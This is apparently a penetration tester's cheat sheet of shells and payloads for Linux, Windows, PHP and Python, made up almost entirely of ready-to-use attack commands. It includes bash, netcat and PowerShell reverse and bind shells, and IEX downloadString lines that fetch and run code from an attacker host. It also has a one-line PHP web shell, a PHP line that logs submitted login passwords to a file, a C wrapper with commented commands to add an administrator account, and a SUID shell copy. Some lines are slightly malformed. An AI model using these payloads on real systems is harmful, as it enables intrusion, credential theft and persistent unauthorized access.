Shells / Payloads

Here are shells

01. Linux

• Common shells

## ------------------| Reverse
bash -i >& /dev/tcp/<HostIP>/4545 0>&1
bash -c "bash -i >& /dev/tcp/<HostIP>/4545 0>&1"
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <HostIP> 4545 >/tmp/f

## ------------------| Bind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 4545 >/tmp/f

• TTY Spawn shell

/bin/sh -i
lua: os.execute('/bin/sh')
echo os.system('/bin/bash')
script -qc /bin/bash /dev/null
python -c "import pty; pty.spawn('/bin/bash')"
python3 -c "import pty; pty.spawn('/bin/bash')"

• New born shell to pretty shell

python -c "import pty; pty.spawn('/bin/bash')"
stty raw -echo; fg
stty rows 45 cols 173
export TERM=xterm-256color

## ------------------| To add colors
export LS_OPTIONS='--color=auto'
eval "`dircolors`"
alias ls='ls $LS_OPTIONS'
export PS1='\[\e]0;\u@\h: \w\a\]\[\033[01;32m\]\u@\h\[\033[01;34m\] \w\$\[\033[00m\] '        

## ------------------| To find my rows and cols
stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'

• ReverseSSH [Linux]🔥

## ------------------| Victim 
## [32bit] wget https://github.com/Fahrj/reverse-ssh/releases/download/v1.2.0/upx_reverse-sshx86 -O reverse-ssh                                                                                                       
## [64bit] wget https://github.com/Fahrj/reverse-ssh/releases/download/v1.2.0/upx_reverse-sshx64 -O reverse-ssh
chmod +x reverse-ssh
./reverse-ssh
./reverse-ssh -p <LPORT> <LHOST>

• Reverse shell

  • Pentestmonkey

  • revshells

02. Windows

• One Liner Reverse Shell.

## ------------------| Reverse
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('<HostIP>',4545);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();}$client.Close()"

## ------------------| Bind
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',4545);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"    

• From bind shell to reverse shell [ Windows ]

## ------------------| Best place for land
%temp%\shell.exe
C:\Users\Public\Documents\shell.exe

## ------------------| First try to upload nc.exe and get revshell, it will be easy 
IWR -uri http://<IP/nc64.exe -OutFile C:\Users\Public\Documents\nc.exe
cmd /c nc.exe <IP> 4545 -e powershell.exe

## ------------------| Nishang's PowerShell ReverseTCP
cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 rev.ps1
echo -e "Invoke-PowerShellTcp -Reverse -IPAddress <HostIP> -Port 4545" >> rev.ps1
python3 -m http.server 80
## Execute [x86/x64]
powershell "IEX(New-Object Net.WebClient).downloadString('http://<HostIP>/rev.ps1')"
## Execute [x64]
C:\windows\sysnative\WindowsPowerShell\v1.0\powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://<HostIP>/rev.ps1')"

## ------------------| If above 👆 commands does not work; check if they limit the poweshell ability by issuing the following command.    
powershell $ExecutionContext.SessionState.LanguageMode
## if it return ConstrainedLanguage you can not run commands like IEX. it means you can not run Invoke-PowerShellTcp.ps1. 
## So select netcat or 10x10x14x38_4545.exe with Invoke-WebRequest (or any download methord) insted of this. 

• Encoded Payload

## ------------------| Encode the payload 
echo -n "IEX(New-Object Net.WebClient).DownloadString('http://<HostIP>/rev.ps1')" | iconv --to-code UTF-16LE | base64 -w 0   

## ------------------| Run the payload
powershell -EncodedCommand SQBFAFgAKABOA.....ApAA==
powershell -E SQBFAFgAKABOA.....ApAA==
powershell -enc SQBFAFgAKABOA.....ApAA==
powershell -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand SQBFAFgAKABOA.....ApAA==

• C program

#include <stdlib.h>

int main ()
{
    int user;
    user = system ("powershell -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand SQBFAFgAKABOA.....ApAA==");           
    //user = system ("net user h4rithd Password! /add");
    //user = system ("net localgroup administrators h4rithd /add");
    return 0;
}

// i686-w64-mingw32-gcc shell.c -o shell.exe
// x86_64-w64-mingw32-gcc shell.c -o shell64.exe

03. Reverse Shells

• Bash

bash -i >& /dev/tcp/<HostIP>/4545 0>&1
bash -c "bash -i >& /dev/tcp/<HostIP>/4545 0>&1"

## ------------------| If your shell die often, use nohup
bash -c 'nohup bash -i >& /dev/tcp/<HostIP>/4545 0>&1 &'

• Netcat

## ------------------| Reverse
nc -e /bin/sh <HostIP> 4545
nc -c bash <HostIP> 4545

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <HostIP> 4545 >/tmp/f

## ------------------| Bind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 4545 >/tmp/f

• PHP

## ------------------| Extentions
.php , .php5 , .php7 , .phar

## ------------------| Check disable_functions
<?php phpinfo() ?>
####  system(), passthru(), shell_exec(), popen(), fsockopen() or proc_open()

## ------------------| 15 bytes shell (shell.php?1=id)
<?=`$_GET[1]`?>

## ------------------| Bind shell for test

## ------------------| Include 
<php include("http://<HostIP>/rev.php"); ?>

## ------------------| Download file
<?php exec("wget -O /var/www/html/shell.php <HostIP>/rev.php"); ?>

## ------------------| Open the file to get existing content
<?php file_get_contents("/etc/passwd"); ?>

## ------------------| Write the contents back to the file (LOCK_EX flag to prevent anyone else writing to the file at the same time)     
<?php file_put_contents('/dev/shm/logs.txt', "Login Found: ".$_POST['log'].":".$_POST['pwd']."\n" , FILE_APPEND | LOCK_EX); ?>

os.system(cp $(which dash) /tmp/dash;chmod 4555 /tmp/dash)

## ------------------| Bind
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",4545));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

## ------------------| File Read (ssh-key)
python -c "with open('/home/<user>/.ssh/authorized_keys','r') as f: print(f.read())"
